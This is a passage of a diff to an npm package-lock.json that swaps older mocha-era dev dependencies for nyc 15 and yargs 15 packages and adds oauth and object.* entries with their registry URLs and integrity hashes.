"https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.0.tgz", ++ "integrity": "sha512-h2AatdwYH+JHiZpv7pt/gSX1XoRGb7L/qSIeuqA6GwYoF9w1vP1cw42TO0aI2pNyshRK5893hNSl+1//vHK7hQ==", ++ "dev": true ++ }, ++ "nyc": { ++ "version": "15.1.0", ++ "resolved": "https://registry.npmjs.org/nyc/-/nyc-15.1.0.tgz", ++ "integrity": "sha512-jMW04n9SxKdKi1ZMGhvUTHBN0EICCRkHemEoE5jm6mTYcqcdas0ATzgUgejlQUHMvpnOZqGB5Xxsv9KxJW1j8A==", ++ "dev": true, ++ "requires": { ++ "@istanbuljs/load-nyc-config": "^1.0.0", ++ "@istanbuljs/schema": "^0.1.2", ++ "caching-transform": "^4.0.0", ++ "convert-source-map": "^1.7.0", ++ "decamelize": "^1.2.0", ++ "find-cache-dir": "^3.2.0", ++ "find-up": "^4.1.0", ++ "foreground-child": "^2.0.0", ++ "get-package-type": "^0.1.0", ++ "glob": "^7.1.6", ++ "istanbul-lib-coverage": "^3.0.0", ++ "istanbul-lib-hook": "^3.0.0", ++ "istanbul-lib-instrument": "^4.0.0", ++ "istanbul-lib-processinfo": "^2.0.2", ++ "istanbul-lib-report": "^3.0.0", ++ "istanbul-lib-source-maps": "^4.0.0", ++ "istanbul-reports": "^3.0.2", ++ "make-dir": "^3.0.0", ++ "node-preload": "^0.2.1", ++ "p-map": "^3.0.0", ++ "process-on-spawn": "^1.0.0", ++ "resolve-from": "^5.0.0", ++ "rimraf": "^3.0.0", ++ "signal-exit": "^3.0.2", ++ "spawn-wrap": "^2.0.0", ++ "test-exclude": "^6.0.0", ++ "yargs": "^15.0.2" + }, + "dependencies": { +- "ansi-colors": { +- "version": "3.2.3", +- "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.3.tgz", +- "integrity": "sha512-LEHHyuhlPY3TmuUYMh2oz89lTShfvgbmzaBcxve9t/9Wuy7Dwf4yoAKcND7KFT1HAQfqZ12qtc+DUrBMeKF9nw==", +- "dev": true +- }, +- "ansi-regex": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", +- "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", +- "dev": true +- }, +- "argparse": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", +- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", ++ "ansi-styles": { ++ "version": "4.3.0", ++ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", ++ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { +- "sprintf-js": "~1.0.2" ++ "color-convert": "^2.0.1" + } + }, + "camelcase": { +@@ -59180,298 +47486,101 @@ + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true + }, +- "chai": { +- "version": "3.5.0", +- "resolved": "https://registry.npmjs.org/chai/-/chai-3.5.0.tgz", +- "integrity": "sha1-TQJjewZ/6Vi9v906QOxW/vc3Mkc=", +- "dev": true, +- "requires": { +- "assertion-error": "^1.0.1", +- "deep-eql": "^0.1.3", +- "type-detect": "^1.0.0" +- } +- }, + "cliui": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", +- "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", +- "dev": true, +- "requires": { +- "string-width": "^3.1.0", +- "strip-ansi": "^5.2.0", +- "wrap-ansi": "^5.1.0" +- } +- }, +- "debug": { +- "version": "3.2.6", +- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", +- "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", ++ "version": "6.0.0", ++ "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz", ++ "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==", + "dev": true, + "requires": { +- "ms": "^2.1.1" ++ "string-width": "^4.2.0", ++ "strip-ansi": "^6.0.0", ++ "wrap-ansi": "^6.2.0" + } + }, +- "deep-eql": { +- "version": "0.1.3", +- "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-0.1.3.tgz", +- "integrity": "sha1-71WKyrjeJSBs1xOQbXTlaTDrafI=", ++ "find-cache-dir": { ++ "version": "3.3.2", ++ "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", ++ "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "dev": true, + "requires": { +- "type-detect": "0.1.1" +- }, +- "dependencies": { +- "type-detect": { +- "version": "0.1.1", +- "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-0.1.1.tgz", +- "integrity": "sha1-C6XsKohWQORw6k6FBZcZANrFiCI=", +- "dev": true +- } ++ "commondir": "^1.0.1", ++ "make-dir": "^3.0.2", ++ "pkg-dir": "^4.1.0" + } + }, +- "diff": { +- "version": "3.5.0", +- "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz", +- "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", +- "dev": true +- }, +- "emoji-regex": { +- "version": "7.0.3", +- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", +- "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", +- "dev": true +- }, +- "escape-string-regexp": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", +- "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", +- "dev": true +- }, + "find-up": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", +- "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", +- "dev": true, +- "requires": { +- "locate-path": "^3.0.0" +- } +- }, +- "flat": { +- "version": "4.1.1", +- "resolved": "https://registry.npmjs.org/flat/-/flat-4.1.1.tgz", +- "integrity": "sha512-FmTtBsHskrU6FJ2VxCnsDb84wu9zhmO3cUX2kGFb5tuwhfXxGciiT0oRY+cck35QmG+NmGh5eLz6lLCpWTqwpA==", +- "dev": true, +- "requires": { +- "is-buffer": "~2.0.3" +- } +- }, +- "glob": { +- "version": "7.1.3", +- "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz", +- "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", +- "dev": true, +- "requires": { +- "fs.realpath": "^1.0.0", +- "inflight": "^1.0.4", +- "inherits": "2", +- "minimatch": "^3.0.4", +- "once": "^1.3.0", +- "path-is-absolute": "^1.0.0" +- } +- }, +- "has-flag": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", +- "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", +- "dev": true +- }, +- "is-buffer": { +- "version": "2.0.5", +- "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", +- "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", +- "dev": true +- }, +- "is-fullwidth-code-point": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", +- "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", +- "dev": true +- }, +- "js-yaml": { +- "version": "3.13.1", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", +- "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", +- "dev": true, +- "requires": { +- "argparse": "^1.0.7", +- "esprima": "^4.0.0" +- } +- }, +- "locate-path": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", +- "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", +- "dev": true, +- "requires": { +- "p-locate": "^3.0.0", +- "path-exists": "^3.0.0" +- } +- }, +- "log-symbols": { +- "version": "2.2.0", +- "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz", +- "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", +- "dev": true, +- "requires": { +- "chalk": "^2.0.1" +- } +- }, +- "minimist": { +- "version": "1.2.5", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", +- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", +- "dev": true +- }, +- "mkdirp": { +- "version": "0.5.4", +- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.4.tgz", +- "integrity": "sha512-iG9AK/dJLtJ0XNgTuDbSyNS3zECqDlAhnQW4CsNxBG3LQJBbHmRX1egw39DmtOdCAqY+dKXV+sgPgilNWUKMVw==", +- "dev": true, +- "requires": { +- "minimist": "^1.2.5" +- } +- }, +- "mocha": { +- "version": "6.2.3", +- "resolved": "https://registry.npmjs.org/mocha/-/mocha-6.2.3.tgz", +- "integrity": "sha512-0R/3FvjIGH3eEuG17ccFPk117XL2rWxatr81a57D+r/x2uTYZRbdZ4oVidEUMh2W2TJDa7MdAb12Lm2/qrKajg==", +- "dev": true, +- "requires": { +- "ansi-colors": "3.2.3", +- "browser-stdout": "1.3.1", +- "debug": "3.2.6", +- "diff": "3.5.0", +- "escape-string-regexp": "1.0.5", +- "find-up": "3.0.0", +- "glob": "7.1.3", +- "growl": "1.10.5", +- "he": "1.2.0", +- "js-yaml": "3.13.1", +- "log-symbols": "2.2.0", +- "minimatch": "3.0.4", +- "mkdirp": "0.5.4", +- "ms": "2.1.1", +- "node-environment-flags": "1.0.5", +- "object.assign": "4.1.0", +- "strip-json-comments": "2.0.1", +- "supports-color": "6.0.0", +- "which": "1.3.1", +- "wide-align": "1.1.3", +- "yargs": "13.3.2", +- "yargs-parser": "13.1.2", +- "yargs-unparser": "1.6.0" +- } +- }, +- "ms": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", +- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", +- "dev": true +- }, +- "object.assign": { + "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz", +- "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", ++ "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", ++ "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "requires": { +- "define-properties": "^1.1.2", +- "function-bind": "^1.1.1", +- "has-symbols": "^1.0.0", +- "object-keys": "^1.0.11" ++ "locate-path": "^5.0.0", ++ "path-exists": "^4.0.0" + } + }, +- "p-limit": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", +- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", ++ "locate-path": { ++ "version": "5.0.0", ++ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", ++ "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "requires": { +- "p-try": "^2.0.0" ++ "p-locate": "^4.1.0" + } + }, +- "p-locate": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", +- "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", ++ "make-dir": { ++ "version": "3.1.0", ++ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", ++ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "requires": { +- "p-limit": "^2.0.0" ++ "semver": "^6.0.0" + } + }, +- "path-exists": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", +- "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", +- "dev": true +- }, +- "string-width": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", +- "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", ++ "p-limit": { ++ "version": "2.3.0", ++ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", ++ "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "requires": { +- "emoji-regex": "^7.0.1", +- "is-fullwidth-code-point": "^2.0.0", +- "strip-ansi": "^5.1.0" ++ "p-try": "^2.0.0" + } + }, +- "strip-ansi": { +- "version": "5.2.0", +- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", +- "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", ++ "p-locate": { ++ "version": "4.1.0", ++ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", ++ "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "requires": { +- "ansi-regex": "^4.1.0" ++ "p-limit": "^2.2.0" + } + }, +- "strip-json-comments": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", +- "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", +- "dev": true +- }, +- "supports-color": { +- "version": "6.0.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.0.0.tgz", +- "integrity": "sha512-on9Kwidc1IUQo+bQdhi8+Tijpo0e1SS6RoGo2guUwn5vdaxw8RXOF9Vb2ws+ihWOmh4JnCJOvaziZWP1VABaLg==", ++ "p-map": { ++ "version": "3.0.0", ++ "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz", ++ "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==", + "dev": true, + "requires": { +- "has-flag": "^3.0.0" ++ "aggregate-error": "^3.0.0" + } + }, +- "type-detect": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-1.0.0.tgz", +- "integrity": "sha1-diIXzAbbJY7EiQihKY6LlRIejqI=", +- "dev": true +- }, +- "which": { +- "version": "1.3.1", +- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", +- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", ++ "rimraf": { ++ "version": "3.0.2", ++ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", ++ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "requires": { +- "isexe": "^2.0.0" ++ "glob": "^7.1.3" + } + }, + "wrap-ansi": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", +- "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", ++ "version": "6.2.0", ++ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", ++ "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "dev": true, + "requires": { +- "ansi-styles": "^3.2.0", +- "string-width": "^3.0.0", +- "strip-ansi": "^5.0.0" ++ "ansi-styles": "^4.0.0", ++ "string-width": "^4.1.0", ++ "strip-ansi": "^6.0.0" + } + }, + "y18n": { +@@ -59481,73 +47590,341 @@ + "dev": true + }, + "yargs": { +- "version": "13.3.2", +- "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz", +- "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", ++ "version": "15.4.1", ++ "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz", ++ "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==", + "dev": true, + "requires": { +- "cliui": "^5.0.0", +- "find-up": "^3.0.0", ++ "cliui": "^6.0.0", ++ "decamelize": "^1.2.0", ++ "find-up": "^4.1.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", +- "string-width": "^3.0.0", ++ "string-width": "^4.2.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", +- "yargs-parser": "^13.1.2" ++ "yargs-parser": "^18.1.2" + } + }, + "yargs-parser": { +- "version": "13.1.2", +- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz", +- "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", ++ "version": "18.1.3", ++ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", ++ "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", + "dev": true, + "requires": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + } ++ } ++ } ++ }, ++ "oauth": { ++ "version": "0.9.15", ++ "resolved": "https://registry.npmjs.org/oauth/-/oauth-0.9.15.tgz", ++ "integrity": "sha1-vR/vr2hslrdUda7VGWQS/2DPucE=" ++ }, ++ "oauth-sign": { ++ "version": "0.9.0", ++ "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", ++ "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" ++ }, ++ "oauth2-server": { ++ "version": "3.1.1", ++ "resolved": "https://registry.npmjs.org/oauth2-server/-/oauth2-server-3.1.1.tgz", ++ "integrity": "sha512-4dv+fE9hrK+xTaCygOLh/kQeFzbFr7UqSyHvBDbrQq8Hg52sAkV2vTsyH3Z42hoeaKpbhM7udhL8Y4GYbl6TGQ==", ++ "requires": { ++ "basic-auth": "2.0.1", ++ "bluebird": "3.7.2", ++ "lodash": "4.17.19", ++ "promisify-any": "2.0.1", ++ "statuses": "1.5.0", ++ "type-is": "1.6.18" ++ }, ++ "dependencies": { ++ "lodash": { ++ "version": "4.17.19", ++ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz", ++ "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ==" ++ } ++ } ++ }, ++ "object-assign": { ++ "version": "4.1.1", ++ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", ++ "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" ++ }, ++ "object-get": { ++ "version": "2.1.1", ++ "resolved": "https://registry.npmjs.org/object-get/-/object-get-2.1.1.tgz", ++ "integrity": "sha512-7n4IpLMzGGcLEMiQKsNR7vCe+N5E9LORFrtNUVy4sO3dj9a3HedZCxEL2T7QuLhcHN1NBuBsMOKaOsAYI9IIvg==", ++ "dev": true ++ }, ++ "object-hash": { ++ "version": "2.2.0", ++ "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.2.0.tgz", ++ "integrity": "sha512-gScRMn0bS5fH+IuwyIFgnh9zBdo4DV+6GhygmWM9HyNJSgS0hScp1f5vjtm7oIIOiT9trXrShAkLFSc2IqKNgw==" ++ }, ++ "object-inspect": { ++ "version": "1.12.0", ++ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.0.tgz", ++ "integrity": "sha512-Ho2z80bVIvJloH+YzRmpZVQe87+qASmBUKZDWgx9cu+KDrX2ZDH/3tMy+gXbZETVGs2M8YdxObOh7XAtim9Y0g==" ++ }, ++ "object-is": { ++ "version": "1.1.5", ++ "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz", ++ "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==", ++ "devOptional": true, ++ "requires": { ++ "call-bind": "^1.0.2", ++ "define-properties": "^1.1.3" ++ } ++ }, ++ "object-keys": { ++ "version": "1.1.1", ++ "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", ++ "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==" ++ }, ++ "object-to-spawn-args": { ++ "version": "2.0.1", ++ "resolved": "https://registry.npmjs.org/object-to-spawn-args/-/object-to-spawn-args-2.0.1.tgz", ++ "integrity": "sha512-6FuKFQ39cOID+BMZ3QaphcC8Y4cw6LXBLyIgPU+OhIYwviJamPAn+4mITapnSBQrejB+NNp+FMskhD8Cq+Ys3w==", ++ "dev": true ++ }, ++ "object.assign": { ++ "version": "4.1.2", ++ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", ++ "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", ++ "requires": { ++ "call-bind": "^1.0.0", ++ "define-properties": "^1.1.3", ++ "has-symbols": "^1.0.1", ++ "object-keys": "^1.1.1" ++ } ++ }, ++ "object.entries": { ++ "version": "1.1.5", ++ "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz", ++ "integrity": "sha512-TyxmjUoZggd4OrrU1W66FMDG6CuqJxsFvymeyXI51+vQLN67zYfZseptRge703kKQdo4uccgAKebXFcRCzk4+g==", ++ "dev": true, ++ "requires": { ++ "call-bind": "^1.0.2", ++ "define-properties": "^1.1.3", ++ "es-abstract": "^1.19.1" ++ } ++ }, ++ "object.fromentries": { ++ "version": "2.0.5", ++ "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.5.tgz", ++ "integrity": "sha512-CAyG5mWQRRiBU57Re4FKoTBjXfDoNwdFVH2Y1tS9PqCsfUTymAohOkEMSG3aRNKmv4lV3O7p1et7c187q6bynw==", ++ "dev": true, ++ "requires": { ++ "call-bind": "^1.0.2", ++ "define-properties": "^1.1.3", ++ "es-abstract": "^1.19.1" ++ } ++ }, ++ "object.getownpropertydescriptors": { ++ "version": "2.1.3", ++ "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.3.tgz", ++ "integrity": "sha512-VdDoCwvJI4QdC6ndjpqFmoL3/+HxffFBbcJzKi5hwLLqqx3mdbedRpfZDdK0SrOSauj8X4GzBvnDZl4vTN7dOw==", ++ "requires": { ++ "call-bind": "^1.0.2", ++ "define-properties": "^1.1.3", ++ "es-abstract": "^1.19.1" ++ } ++ }, ++ "object.hasown": { ++ "version": "1.1.0", ++ "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.0.tgz", ++ "integrity": "sha512-MhjYRfj3GBlhSkDHo6QmvgjRLXQ2zndabdf3nX0yTyZK9rPfxb6uRpAac8HXNLy1GpqWtZ81Qh4v3uOls2sRAg==", ++ "dev": true, ++ "requires": { ++ "define-properties": "^1.1.3", ++ "es-abstract": "^1.19.1" ++ } ++ }, ++ "object.pick": { ++ "version": "1.3.0", ++ "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", ++ "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", ++ "dev": true, ++ "requires": { ++ "isobject": "^3.0.1" ++ } ++ }, ++ "object.values": { ++ "version": "1.1.5", ++ "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz", ++ "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==", ++ "dev": true, ++ "requires": { ++ "call-bind": "^1.0.2", ++ "define-properties": "^1.1.3", ++ "es-abstract": "^1.19.1" ++ } ++ }, ++ "obuf": { ++ "version": "1.1.2", ++ "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz", ++ "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==", ++ "devOptional": true ++ }, ++ "on-finished": { ++ "version": "2.3.0", ++ "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", ++ "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", ++ "requires": { ++ "ee-first": "1.1.1" ++ } ++ }, ++ "on-headers": { ++ "version": "1.0.2", ++ "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz", ++ "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==" ++ }, ++ "once": { ++ "version": "1.4.0", ++ "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", ++ "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", ++ "requires": { ++ "wrappy": "1" ++ } ++ }, ++ "onetime": { ++ "version": "5.1.2", ++ "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", ++ "integrity": 